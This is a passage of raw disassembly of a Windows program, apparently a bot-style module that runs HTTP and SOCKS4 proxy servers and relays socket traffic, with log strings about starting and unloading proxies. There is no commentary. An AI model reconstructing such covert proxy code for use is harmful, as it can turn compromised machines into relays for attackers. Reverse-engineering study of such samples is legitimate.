mov al, [esp+11h]
test al, al
jnz short loc_42A502
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov byte ptr [esp+12h], 1
loc_42A502: ; CODE XREF: ___:0042A4E8j
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
or esi, 0FFFFFFFFh
loc_42A570: ; CODE XREF: ___:0042969Bj
mov al, [esp+12h]
test al, al
jz loc_4295E8
loc_42A57C: ; CODE XREF: ___:0042A624j
; ___:0042A77Dj
mov al, [ebp+0BAh]
test al, al
jz short loc_42A599
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_42A599: ; CODE XREF: ___:0042A584j
mov al, [esp+11h]
test al, al
jz short loc_42A5B4
mov ecx, [ebp+0BFh]
push ecx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
loc_42A5B4: ; CODE XREF: ___:0042A59Fj
; ___:0042A805j
mov ecx, [esp+5498h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
loc_42A5CD: ; CODE XREF: ___:004299BAj
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
loc_42A5DE: ; CODE XREF: ___:00429987j
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
loc_42A5EF: ; CODE XREF: ___:00429741j
; ___:0042975Aj ...
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
loc_42A600: ; CODE XREF: ___:00429635j
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A57C
; ---------------------------------------------------------------------------
loc_42A629: ; CODE XREF: ___:00429AB3j
mov eax, [ebp+0BBh]
push eax
call near ptr 71AB9639h
nop
jmp loc_42A79A
; ---------------------------------------------------------------------------
loc_42A63B: ; CODE XREF: ___:00429BF4j
lea ecx, [esp+0CDh]
call sub_4017EE
push eax
lea ecx, [esp+18h]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
call near ptr 71AB428Ah
nop
mov eax, [ebp+0BBh]
mov esi, dword_511C9C
push eax
call esi ; closesocket
mov ecx, [ebp+0BFh]
push ecx
jmp loc_42A798
; ---------------------------------------------------------------------------
loc_42A698: ; CODE XREF: ___:00429C10j
mov edx, [esp+10Ch]
lea ecx, [esp+0CDh]
push edx
call sub_4017EE
push eax
lea eax, [esp+1Ch]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_42A6E2: ; CODE XREF: ___:00429CC1j
; ___:00429CC9j
mov edx, [ebp+0BBh]
mov esi, dword_511C9C
push edx
call esi ; closesocket
mov eax, [ebp+0BFh]
push eax
jmp loc_42A798
; ---------------------------------------------------------------------------
loc_42A6FD: ; CODE XREF: ___:00429B9Ej
mov ecx, [ebp+0BBh]
push ecx
call near ptr 71AB9639h
nop
jmp loc_42A79A
; ---------------------------------------------------------------------------
loc_42A70F: ; CODE XREF: ___:00429CEFj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
or esi, 0FFFFFFFFh
jmp loc_42A57C
; ---------------------------------------------------------------------------
loc_42A782: ; CODE XREF: ___:0042A2F5j
; ___:0042A2FDj
mov ecx, [ebp+0BBh]
mov esi, dword_511C9C
push ecx
call esi ; closesocket
mov edx, [ebp+0BFh]
push edx
loc_42A798: ; CODE XREF: ___:0042A693j
; ___:0042A6F8j
call esi ; closesocket
loc_42A79A: ; CODE XREF: ___:0042A636j
; ___:0042A70Aj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
jmp loc_42A5B4
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42ACB0 proc near ; CODE XREF: sub_4018EDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42ACB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F15C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42ACB0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AD20: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402126
test byte ptr [esp+8], 1
jz short loc_42AD38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42AD38: ; CODE XREF: ___:0042AD2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AD50 proc near ; CODE XREF: sub_402126j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43F15C
cmp eax, 0FFFFFFFFh
jz short loc_42AD6B
push eax
nop
call near ptr 71AB9639h
loc_42AD6B: ; CODE XREF: sub_42AD50+12j
mov ecx, esi
call sub_4017A8
pop esi
retn
sub_42AD50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AD90 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AD90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_42ADB3: ; CODE XREF: sub_42AD90+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42ADDA
mov ecx, [edi+3Bh]
push ecx
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_42ADB3
loc_42ADDA: ; CODE XREF: sub_42AD90+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42AEAC
push ebp
push esi
loc_42ADF0: ; CODE XREF: sub_42AD90+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_42AE8B
test ebp, ebp
jz short loc_42AE8B
push 0C3h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_42AE36
mov ecx, eax
call sub_401893
mov esi, eax
jmp short loc_42AE38
; ---------------------------------------------------------------------------
loc_42AE36: ; CODE XREF: sub_42AD90+99j
xor esi, esi
loc_42AE38: ; CODE XREF: sub_42AD90+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FDC
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013DE
jmp short loc_42AE96
; ---------------------------------------------------------------------------
loc_42AE8B: ; CODE XREF: sub_42AD90+74j
; sub_42AD90+7Cj
push 0FAh
nop
call near ptr 2850369h
loc_42AE96: ; CODE XREF: sub_42AD90+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_42ADF0
pop esi
pop ebp
loc_42AEAC: ; CODE XREF: sub_42AD90+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_42AEBE
push edi
nop
call near ptr 71AB9639h
loc_42AEBE: ; CODE XREF: sub_42AD90+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AD90 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AF20 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_42AF48
call sub_4017EE
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_42AF53
; ---------------------------------------------------------------------------
loc_42AF48: ; CODE XREF: sub_42AF20+19j
call sub_4017EE
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_42AF53: ; CODE XREF: sub_42AF20+26j
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017EE
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_42AF20 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AFF0 proc near ; CODE XREF: sub_40213Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AFF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F16C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AFF0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B060: ; CODE XREF: ___:0040187Fj
; ___:loc_401B18j
push esi
mov esi, ecx
call sub_401FA5
test byte ptr [esp+8], 1
jz short loc_42B078
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B078: ; CODE XREF: ___:0042B06Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B090 proc near ; CODE XREF: sub_401FA5j
jmp sub_4017A8
sub_42B090 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B0B0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_511CA4
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_42B0F1
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B0F1: ; CODE XREF: sub_42B0B0+27j
cmp [esp+830h+var_81D], 4
jnz loc_42B2DC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_42B12E
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B12E: ; CODE XREF: sub_42B0B0+64j
cmp [esp+830h+var_807], 1
jnz loc_42B2DC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
call near ptr 71AB3B91h
nop
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_42B1C9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
call near ptr 71AB428Ah
nop
mov eax, [ebp+0A1h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
mov esi, dword_511CAC
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi ; ioctlsocket
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi ; ioctlsocket
loc_42B226: ; CODE XREF: sub_42B0B0+1AFj
; sub_42B0B0+1FEj ...
mov edi, dword_511CA4
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi ; recv
mov esi, eax
test esi, esi
jz loc_42B2CA
jge short loc_42B261
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_42B261
push 0Ah
call near ptr 2850369h
nop
jmp short loc_42B226
; ---------------------------------------------------------------------------
loc_42B261: ; CODE XREF: sub_42B0B0+198j
; sub_42B0B0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi ; recv
mov esi, eax
test esi, esi
jz short loc_42B2CA
jge short loc_42B2B3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_42B2B3
push 0Ah
nop
call near ptr 2850369h
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j
; sub_42B0B0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
nop
call near ptr 71AB428Ah
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2CA: ; CODE XREF: sub_42B0B0+192j
; sub_42B0B0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_511C9C
push eax
call esi ; closesocket
push ebx
call esi ; closesocket
loc_42B2DC: ; CODE XREF: sub_42B0B0+46j
; sub_42B0B0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_42B0B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B380 proc near ; CODE XREF: sub_40218Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B380
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F17C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B380 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C4E
test [esp+4+arg_0], 1
jz short loc_42B408
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B408: ; CODE XREF: sub_42B3F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B3F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B420 proc near ; CODE XREF: sub_401C4Ej
jmp sub_4017A8
sub_42B420 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B440 proc near ; CODE XREF: sub_40189Dj
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B440
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017EE
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42B649
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
call near ptr 71AB2B66h
nop
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_42B516
mov ecx, [esi+9Dh]
push ecx
call near ptr 71AB9639h
nop
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B516: ; CODE XREF: sub_42B440+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42B600
loc_42B52C: ; CODE XREF: sub_42B440+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_42B550
push 0FAh
nop
call near ptr 2850369h
jmp loc_42B5EC
; ---------------------------------------------------------------------------
loc_42B550: ; CODE XREF: sub_42B440+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42B600
xor edi, edi
cmp ebp, edi
jz loc_42B600
push 0A5h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B59E
mov ecx, eax
call sub_40213A
mov edi, eax
loc_42B59E: ; CODE XREF: sub_42B440+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FDC
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42B5EC: ; CODE XREF: sub_42B440+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B52C
loc_42B600: ; CODE XREF: sub_42B440+E6j
; sub_42B440+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42B614
push eax
call near ptr 71AB9639h
nop
loc_42B614: ; CODE XREF: sub_42B440+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017EE
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
loc_42B649: ; CODE XREF: sub_42B440+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B440 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B6F0 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
nop
call near ptr 71AB4FD4h
test eax, eax
jz short loc_42B711
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42B711: ; CODE XREF: sub_42B6F0+Dj
xor al, al
retn 8
sub_42B6F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B730 proc near ; CODE XREF: sub_4020E0j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42B751: ; CODE XREF: sub_42B730+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B76A: ; CODE XREF: sub_42B730+45j
cmp [ecx], ebx
jz short loc_42B777
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B76A
loc_42B777: ; CODE XREF: sub_42B730+3Cj
cmp eax, 1
jnz short loc_42B788
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42B788: ; CODE XREF: sub_42B730+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jbe short loc_42B813
cmp eax, 0FFFFFFFFh
jz short loc_42B813
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42B7BC
mov eax, ebp
mov ebp, ebx
jmp short loc_42B7BE
; ---------------------------------------------------------------------------
loc_42B7BC: ; CODE XREF: sub_42B730+84j
mov eax, ebx
loc_42B7BE: ; CODE XREF: sub_42B730+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
nop
call near ptr 71AB615Ah
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42B862
test edi, edi
jz short loc_42B862
jbe short loc_42B80C
loc_42B7EB: ; CODE XREF: sub_42B730+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz short loc_42B862
add esi, eax
cmp esi, edi
jb short loc_42B7EB
loc_42B80C: ; CODE XREF: sub_42B730+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42B813: ; CODE XREF: sub_42B730+70j
; sub_42B730+75j
mov [esp+51Ch+var_500], ebp
mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B825: ; CODE XREF: sub_42B730+100j
cmp [ecx], ebx
jz short loc_42B832
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B825
loc_42B832: ; CODE XREF: sub_42B730+F7j
cmp eax, 1
jnz short loc_42B844
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42B844: ; CODE XREF: sub_42B730+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jle loc_42B751
loc_42B862: ; CODE XREF: sub_42B730+B3j
; sub_42B730+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42B730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B8E0 proc near ; CODE XREF: sub_401C30j
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42B97F
dec eax
jz short loc_42B92A
dec eax
jnz loc_42BA72
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42B92A: ; CODE XREF: sub_42B8E0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_401758
test al, al
jz loc_42BA72
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42B99B
; ---------------------------------------------------------------------------
loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj
mov ebx, dword_511C3C
push 11h
push 2
push 2
call ebx ; socket
push 11h
push 2
push 2
mov edi, eax
call ebx ; socket
cmp edi, 0FFFFFFFFh
jz loc_42BA72
cmp eax, 0FFFFFFFFh
jnz loc_42BA72
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_511C68
push edx
push esi
push edi
call ebp ; sendto
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
